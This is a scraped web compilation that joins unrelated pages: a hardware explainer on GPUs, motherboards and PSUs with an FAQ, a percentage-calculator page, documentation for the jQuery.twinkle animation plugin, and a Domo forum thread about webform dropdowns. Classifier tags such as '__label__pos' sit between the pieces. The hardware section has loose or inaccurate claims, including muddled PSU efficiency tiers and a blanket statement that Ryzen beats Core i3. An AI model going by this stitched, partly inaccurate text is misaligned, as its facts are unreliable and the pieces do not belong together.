• Clock Speed: The clock speed of a GPU, usually measured in GHz (gigahertz), refers to the number of cycles per second that the GPU can perform. A higher clock speed means that the GPU can perform more calculations per second, resulting in faster performance.
• Number of Cores: The number of cores on a GPU can also affect its performance. More cores typically mean that the GPU can handle more complex tasks simultaneously, resulting in faster performance.
• Memory: The amount of memory on a GPU can also impact its performance. A GPU with more memory can handle larger datasets and more complex graphics, resulting in smoother performance.
• Manufacturing Process: The manufacturing process used to create the GPU can also affect its performance. GPUs made using the latest manufacturing processes tend to be more efficient and perform better than those made using older processes.
• Power Consumption: The power consumption of a GPU can also impact its performance. A GPU that consumes more power may generate more heat, which can result in reduced performance or even damage to the GPU.
By considering these factors, you can make an informed decision when selecting a GPU for your computer, ensuring that you get the best possible performance for your needs.
Types of GPU
The Graphics Processing Unit (GPU) is a crucial component in determining a computer’s power, particularly in gaming and graphics-intensive applications. There are several types of GPUs available in the market, each with its own unique characteristics and capabilities. In this section, we will explore the different types of GPUs and their key features.
1. Integrated GPUs:
Integrated GPUs are a type of GPU that is built into the computer’s motherboard or CPU. They are less powerful than dedicated GPUs but are sufficient for basic tasks such as web browsing, video playback, and basic gaming. Integrated GPUs are typically less expensive and use less power than dedicated GPUs.
2. Dedicated GPUs:
Dedicated GPUs are a type of GPU that is installed in the computer as a separate component. They are more powerful than integrated GPUs and are designed for more demanding tasks such as gaming, video editing, and graphic design. Dedicated GPUs are available in a range of sizes and performance levels, from entry-level models to high-end models that are capable of handling the most demanding tasks.
3. Mobile GPUs:
Mobile GPUs are a type of GPU that is designed for use in laptops and other portable devices. They are typically less powerful than desktop GPUs but are designed to be more power-efficient to extend battery life. Mobile GPUs are ideal for tasks such as web browsing, video playback, and basic gaming.
4. Cloud GPUs:
Cloud GPUs are a type of GPU that is used in cloud computing environments. They are designed to provide scalable and flexible GPU resources that can be accessed remotely over the internet. Cloud GPUs are ideal for tasks such as machine learning, scientific simulations, and high-performance computing.
Understanding the different types of GPUs and their capabilities is essential when selecting the right hardware for your specific needs. Whether you are a gamer, content creator, or scientific researcher, there is a GPU available that can meet your requirements.
Motherboard
Overview of Motherboard
A motherboard is the main circuit board of a computer that connects all the hardware components together. It serves as the foundation of a computer and provides power to all the other components. The motherboard is made up of a variety of components, including the central processing unit (CPU), memory slots, expansion slots, and various connectors for peripheral devices.
One of the most important factors in determining a computer’s power is the quality and capabilities of the motherboard. High-end motherboards typically offer more features and higher performance than entry-level models. Some of the key specifications to consider when selecting a motherboard include the number of RAM slots, the type and number of expansion slots, the type and number of USB ports, and the type and number of display ports.
Additionally, the chipset and BIOS of the motherboard play a crucial role in determining the overall performance of the computer. The chipset controls the flow of data between the CPU, memory, and other components, while the BIOS provides the firmware that controls the boot process and other low-level functions of the computer.
Overall, the motherboard serves as the backbone of a computer, and selecting a high-quality motherboard with the right specifications can greatly impact the performance and capabilities of the entire system.
Factors Affecting Motherboard Performance
The motherboard is a critical component of a computer’s hardware that plays a significant role in determining its overall performance. There are several factors that affect the performance of a motherboard, including:
Chipset
The chipset is a group of microchips that provide the necessary connections between the processor, memory, and other peripheral devices. The chipset determines the speed at which data can be transferred between these components, and a higher-end chipset will generally result in better performance.
Form Factor
The form factor of a motherboard refers to its physical size and shape. Smaller form factor motherboards may have fewer expansion slots and less cooling capacity, which can limit their performance compared to larger form factor motherboards.
Number of PCIe Slots
PCIe (Peripheral Component Interconnect Express) slots are used to connect expansion cards such as graphics cards, sound cards, and network cards. The number of PCIe slots on a motherboard can affect its overall performance, as more slots allow for more expansion options and greater bandwidth.
Memory Slots
The number and type of memory slots on a motherboard can also affect its performance. More memory slots can allow for more RAM, which can improve overall performance, while support for faster memory types such as DDR4 can also increase performance.
VRM (Voltage Regulation Module)
The VRM is responsible for regulating the voltage supplied to the processor. A higher-quality VRM can provide a more stable voltage, which can improve the performance and lifespan of the processor.
In summary, the motherboard is a crucial component of a computer’s hardware that can significantly impact its overall performance. Factors such as the chipset, form factor, number of PCIe slots, memory slots, and VRM can all affect the performance of a motherboard, and understanding these factors can help you make informed decisions when building or upgrading your computer.
Types of Motherboard
There are several types of motherboards, each designed to suit different types of computers and purposes. Here are some of the most common types of motherboards:
1. ATX: This is the most common type of motherboard, designed for desktop computers. It is typically larger and has more expansion slots than other types of motherboards.
2. Micro-ATX: This type of motherboard is smaller than ATX and is designed for smaller form factor computers, such as mini-ITX or HTPC cases.
3. Mini-ITX: This is the smallest type of motherboard, designed for small form factor computers, such as media centers or home theaters.
4. BTX: This type of motherboard was designed to be more efficient and provide better cooling than other types of motherboards. However, it has not been widely adopted and is not as common as the other types of motherboards.
5. E-ATX: This is the largest type of motherboard, designed for high-end desktop computers and servers. It has more expansion slots and is typically more expensive than other types of motherboards.
Each type of motherboard has its own set of advantages and disadvantages, and choosing the right one depends on the specific needs of the computer and its intended use.
Power Supply Unit (PSU)
Overview of PSU
The Power Supply Unit (PSU) is a critical component of a computer system that provides the necessary power to all its components. It is responsible for converting the electrical power from the wall outlet into the specific voltage and amperage required by the computer’s various components. The PSU is an essential element that affects the overall performance and stability of a computer system.
The PSU is designed to meet specific standards and regulations, such as the ATX (Advanced Technology eXtension) standard, which ensures compatibility with other computer components. The PSU’s capacity is measured in watts, which represents the maximum power it can deliver to the computer components. The wattage requirements of the computer components vary, and it is important to choose a PSU that can meet or exceed the requirements to ensure proper operation.
Apart from the wattage, the PSU’s quality and efficiency also play a significant role in determining the computer’s power. A high-quality PSU with efficient energy conversion will provide a stable power supply to the components while reducing energy waste and heat generation. Additionally, a good PSU will have various protection features, such as over-voltage protection, over-current protection, and short-circuit protection, to prevent damage to the components and ensure the computer’s safety.
Choosing the right PSU is crucial to ensure the optimal performance and stability of the computer system. It is essential to consider the wattage requirements of all the components, including the CPU, GPU, motherboard, and other peripherals, to choose a PSU that can provide sufficient power without any issues. A PSU with a higher wattage than required may result in wasted energy and higher temperatures, while a PSU with lower wattage may cause instability and component damage.
In summary, the PSU is a critical component of a computer system that provides the necessary power to all its components. The wattage, quality, and efficiency of the PSU play a significant role in determining the computer’s power. Choosing the right PSU that meets or exceeds the wattage requirements of all the components and has efficient energy conversion and protection features is essential to ensure optimal performance and stability of the computer system.
Factors Affecting PSU Performance
When it comes to a computer’s power supply unit (PSU), there are several factors that can affect its performance. Understanding these factors can help you make informed decisions when choosing a PSU for your system.
Wattage
One of the most important factors to consider is the wattage of the PSU. The wattage is a measure of the amount of power the PSU can supply to the various components in your system. A higher wattage PSU can provide more power, which can be beneficial if you have high-end components that require more power. However, it’s important to note that a higher wattage PSU doesn’t necessarily mean it’s better. It’s important to choose a PSU with a wattage that is appropriate for your system.
Efficiency
Another important factor to consider is the efficiency of the PSU. The efficiency of a PSU is measured in terms of its power factor and efficiency rating. A PSU with a higher power factor and efficiency rating will be more efficient, which can help reduce your energy costs over time. Look for a PSU with an 80 Plus certification, which indicates that it meets certain efficiency standards.
Cable Length and Quality
The length and quality of the cables on a PSU can also affect its performance. Longer cables can be more convenient for installing components, but they can also add weight and increase the risk of electrical interference. High-quality cables, on the other hand, can improve the performance of your system by reducing electrical noise and improving the overall stability of your system.
Noise Level
Finally, the noise level of a PSU can also affect its performance. Some PSUs can be quite loud, which can be a nuisance if you’re running your system in a quiet environment. Look for a PSU with a low noise level, as indicated by its decibel rating. A lower decibel rating indicates a quieter PSU.
Understanding these factors can help you choose a PSU that meets the needs of your system and provides the performance you need.
Types of PSU
A Power Supply Unit (PSU) is a critical component of a computer system that provides the necessary electrical power to all its components. The type of PSU used in a computer system can greatly impact its overall performance and stability. In this section, we will discuss the different types of PSUs available in the market.
1. Standard/Bronze PSUs:
Standard or Bronze PSUs are the most basic and cost-effective option for budget-conscious users. These PSUs have basic safety features and are designed to meet the minimum power requirements of a computer system. They typically have a low efficiency rating and a short lifespan.
2. Silver PSUs:
Silver PSUs offer improved performance and reliability compared to standard PSUs. They have better safety features, such as over-voltage protection and a longer lifespan. Silver PSUs are suitable for entry-level gaming systems and basic office applications.
3. Gold PSUs:
Gold PSUs are designed for mid-range computer systems and offer better performance and reliability than silver PSUs. They have a higher efficiency rating, better cable management, and better noise reduction features. Gold PSUs are suitable for users who require a reliable and stable power supply for their daily computing needs.
4. Platinum PSUs:
Platinum PSUs are designed for high-end gaming systems and professional applications. They offer superior performance and reliability with a high efficiency rating, advanced cable management, and noise reduction features. Platinum PSUs are suitable for users who require a stable and powerful power supply for demanding applications such as gaming, video editing, and 3D rendering.
5. Titanium PSUs:
Titanium PSUs are the highest quality PSUs available in the market. They offer unparalleled performance and reliability with a high efficiency rating, advanced cable management, and noise reduction features. Titanium PSUs are suitable for users who require a stable and powerful power supply for demanding applications such as high-performance gaming, professional video editing, and 3D rendering.
Future of Computer Hardware Specifications
As technology continues to advance, the future of computer hardware specifications is likely to bring about significant changes in the way we interact with our devices. The power supply unit (PSU) is one such area that is set to experience some exciting developments.
One of the key trends in the future of computer hardware specifications is the move towards more energy-efficient technology. With concerns over climate change and the need to reduce our carbon footprint, there is a growing demand for devices that use less power. As a result, PSUs are being designed to be more energy-efficient, with higher efficiency ratings and the ability to manage power consumption more effectively.
Another trend in the future of computer hardware specifications is the move towards more modular systems. This means that instead of having a single, centralized PSU, devices will have multiple smaller PSUs that can be easily swapped out or upgraded as needed. This approach will not only make it easier to upgrade and maintain devices, but it will also make it easier to customize devices to meet specific needs.
In addition to these trends, there is also a growing demand for PSUs that are more compact and portable. This is particularly true for laptops and other mobile devices, where space is at a premium. As a result, PSUs are being designed to be smaller and more lightweight, while still providing the power needed to run the device.
Finally, there is a growing demand for PSUs that are more intelligent and responsive. This means that PSUs will be able to adjust their power output based on the needs of the device, providing exactly the right amount of power at any given time. This will help to improve performance and extend the lifespan of the device.
Overall, the future of computer hardware specifications looks bright, with a range of exciting developments on the horizon. From more energy-efficient technology to more modular systems and intelligent power management, there is a lot to look forward to in the years ahead.
FAQs
1. What are the main hardware components that determine a computer’s power?
The main hardware components that determine a computer’s power are the CPU (Central Processing Unit), GPU (Graphics Processing Unit), RAM (Random Access Memory), and storage (hard drive or solid-state drive). The CPU is the brain of the computer and is responsible for executing instructions and performing calculations. The GPU is responsible for rendering images and handling complex graphics. RAM is used as a temporary storage space for data and applications that are currently being used. Storage is where all the data and files are stored, and it affects the computer’s speed and performance.
2. How does the CPU affect a computer’s power?
The CPU is one of the most important hardware components that determine a computer’s power. It is responsible for executing instructions and performing calculations. The more powerful the CPU, the faster it can perform these tasks. This means that a computer with a higher clock speed and more cores will be more powerful than a computer with a lower clock speed and fewer cores. Additionally, the architecture of the CPU can also affect its performance. For example, a computer with an AMD Ryzen processor will generally perform better than a computer with an Intel Core i3 processor.
3. How does the GPU affect a computer’s power?
The GPU is responsible for rendering images and handling complex graphics. A powerful GPU can significantly improve a computer’s performance when handling graphics-intensive tasks such as gaming, video editing, and 3D modeling. The amount of VRAM (Video Random Access Memory) also affects the GPU’s performance. VRAM is used to store and manage the graphics data that is being rendered on the screen. Therefore, a GPU with more VRAM will be able to handle more complex graphics and textures.
4. How does RAM affect a computer’s power?
RAM is used as a temporary storage space for data and applications that are currently being used. The more RAM a computer has, the more data it can process at once. This means that a computer with more RAM will be able to handle more applications and multitask more efficiently. However, the amount of RAM is not the only factor that affects a computer’s performance. The speed of the RAM is also important. A computer with faster RAM will be able to access data more quickly, which can improve its overall performance.
5. How does storage affect a computer’s power?
Storage is where all the data and files are stored, and it affects the computer’s speed and performance. A computer with a faster storage drive, such as a solid-state drive (SSD), will be able to access data more quickly than a computer with a slower storage drive, such as a hard disk drive (HDD). Additionally, the amount of storage also affects the computer’s performance. A computer with more storage will be able to handle more data and files, which can improve its overall performance.
What does what in your computer? Computer parts Explained
Leave a Reply
Your email address will not be published. Required fields are marked *
|
__label__pos
| 0.99871 |
Percentage Calculator, 363 is 142 Percent of what?
363 is 142 Percent of what? 363 is 142 Percent of 255.63
%
How to Calculate 363 is 142 Percent of what?
• F
Formula
363 ÷ 142%
• 1
Convert percent to decimal
142 ÷ 100 = 1.42
• 2
Divide number by decimal number (from the first step)
363 ÷ 1.42 = 255.63 So 363 is 142% of 255.63
Example
For example, John owns 363 shares, and the percentage of John shares is 142%. 363 is 142 Percent of what? 142 ÷ 100 = 1.42 363 ÷ 1.42 = 255.63 So 363 is 142% of 255.63, that mean John has 363 of 255.63 shares
|
__label__pos
| 0.997197 |
jQuery.twinkle
get the visitor's attention
licenseMITgithublrsjng/jquery-twinklebowerlrsjng/jquery-twinkle
0.8.0
Draw your visitor's attention to special parts of your website. Examples of the different effects and options are right below.
Quick start
Twinkle at a specified element:
$(selector).twinkle();
Click!
Select an effect and add some effect options:
var options = {
"effect": "drop",
"effectOptions": {
"color": "rgba(0,0,255,0.5)",
"radius": 100
}
};
$(selector).twinkle(options);
Click!
If multiple elements are selected it might be wanted to delay the effects. The following code triggers the effect on the first selected element after 1 second then waits 300 milliseconds each time before it triggers the effect on the next element.
var options = {
"delay": 1000,
"gap": 300,
"effect": "drop"
};
$(selector).twinkle(options);
Click!...............
API
Static methods
.twinkle()
// Triggers an effect.
jQuery.twinkle.twinkle(element: HTMLElement, left: int, top: int, options: Options): jQuery.twinkle
.add()
// Adds a new effect to the list of selectable effects if effect ID is available.
jQuery.twinkle.add(effect: Effect): jQuery.twinkle
.remove()
// Removes an added effect.
jQuery.twinkle.remove(effect: Effect): jQuery.twinkle
// Removes an added effect by ID.
// <span class='since'>0.3</span>
jQuery.twinkle.remove(id: String): jQuery.twinkle
Methods
'twinkle'
// Triggers an effect.
.twinkle(['twinkle',] [options: Options]): jQuery
Objects
Options
Options {
// position the effect horizontal inside the element
widthRatio: 0.5
// position the effect vertical inside the element
heightRatio: 0.5
// delay before the first effect is triggert
delay: 0
// delay between two effects
gap: 0
// effect ID
effect: "splash"
// custom effect options
effectOptions: undefined
// function to be called after effect finished
// <span class='since'>0.3</span>
callback: undefined
}
Effect
Effect {
// an unique id, see Effects section below
id: String
// the function that gets triggered
run: function(event: Event, options: EffectOptions, callback: Function)
}
Event
Event {
// location in document space
offset: {
left: int
top: int
}
// associated HTML element
element: HTMLElement
// location in element's offset parent space
position: {
left: int
top: int
}
}
Effects
jQuery.twinkle comes with some built in effects.
'splash' (canvas)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 300,
duration: 1000
}
Click!
'drop' (canvas)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 300,
duration: 1000,
width: 2
}
Click!
'drops' (canvas)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 300,
duration: 1000,
width: 2,
count: 3,
delay: 100
}
Click!
'pulse' (canvas)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 100,
duration: 3000
}
Click!
'orbit' (canvas)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 100,
duration: 3000,
satellites: 10,
satellitesRadius: 10,
circulations: 1.5
}
Click!
'splash-css' (CSS3)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 300,
duration: 1000
}
Click!
'drop-css' (CSS3)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 300,
duration: 1000,
width: 2
}
Click!
'drops-css' (CSS3)
EffectOptions {
color: "rgba(255,0,0,0.5)",
radius: 300,
duration: 1000,
width: 2,
count: 3,
delay: 300
}
Click!
|
__label__pos
| 0.941254 |
How do I create a dropdown list in a DOMO webform
Hi all,
As the title suggests, I'm trying to create a dropdown list in a webform. So, when a user is trying to edit the webform in a dashboard using the inline editing app, they will see a dropdown list with possible options. However, I cannot find a way to do that. Any help on how to do it?
Best Answer
• MarkSnodgrass
MarkSnodgrass Portland, Oregon 🥷
Answer ✓
Unfortunately, Domo webforms aren't designed for that and have no data validation logic or capabilities such as dropdown lists. An alternative would be to build a custom app that is a form and you could build in dropdown list capabilities. Adding enhancements to the webform is a good idea, though, and could be worth submitting in the ideas exchange section of the Dojo.
**Make sure to <3 any users posts that helped you.
**Please mark as accepted the ones who solved your issue.
Answers
• jaeW_at_Onyx
jaeW_at_Onyx Budapest / Portland, OR 🟤
@Karim, Domo does sell the 'inline form editor' i believe it's called which will do what you're describing. (they also have a product for designing surveys ... which is again... similar to what you're describing, but i don't know the cost).
@MarkSnodgrass , unfortunately since it is a premium feature ... lol... i can't imagine that Domo would make it free anytime soon. But who knows. we can always hope for DP21.
Jae Wilson
Check out my 🎥 Domo Training YouTube Channel 👨💻
**Say "Thanks" by clicking the ❤️ in the post that helped you.
**Please mark the post that solves your problem by clicking on "Accept as Solution"
|
__label__pos
| 0.546511 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.